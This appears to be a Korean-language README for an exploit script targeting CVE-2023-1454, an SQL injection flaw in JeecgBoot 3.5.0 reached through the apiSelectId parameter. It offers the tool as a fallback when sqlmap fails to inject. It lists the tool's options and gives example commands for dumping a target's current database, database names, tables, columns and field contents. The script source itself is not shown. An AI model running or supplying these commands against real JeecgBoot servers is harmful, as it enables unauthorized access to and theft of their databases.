
JeecgBoot SQL(CVE-2023-1454) sqlmap으로 주입이 되지 않는 경우 이 스크립트를 사용할 수 있습니다.
jeecg-boot 3.5.0 버전에 SQL 인젝션 취약점이 존재하며, 해당 취약점은 jmreport/qurestSql 파일의 보안 문제에서 비롯되어 apiSelectId 매개변수를 통해 SQL 인젝션이 발생합니다.
python3 CVE-2023-1454.py
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Specify the base URL
--current-db View current database
--dbs View all databases
-D DATABASE, --database DATABASE
Specify the database name
--tables View tables in the specified database
-T TABLE, --table TABLE
Specify the table name
--columns View columns in the specified table
-C COLUMN, --column COLUMN
Specify the column name
Example:
python3 CVE-2023-1454.py -u xxx.com --current-db 현재 사용 중인 데이터베이스 이름 확인
python3 CVE-2023-1454.py -u xxx.com -dbs 모든 데이터베이스 이름 확인
python3 CVE-2023-1454.py -u xxx.com -D 데이터베이스명 --tables 데이터베이스의 테이블 이름 확인
python3 CVE-2023-1454.py -u xxx.com -D 데이터베이스명 -T 테이블명 --columns 테이블의 필드 이름 확인
python3 CVE-2023-1454.py -u xxx.com -D 데이터베이스명 -T 테이블명 -C 필드명 필드 확인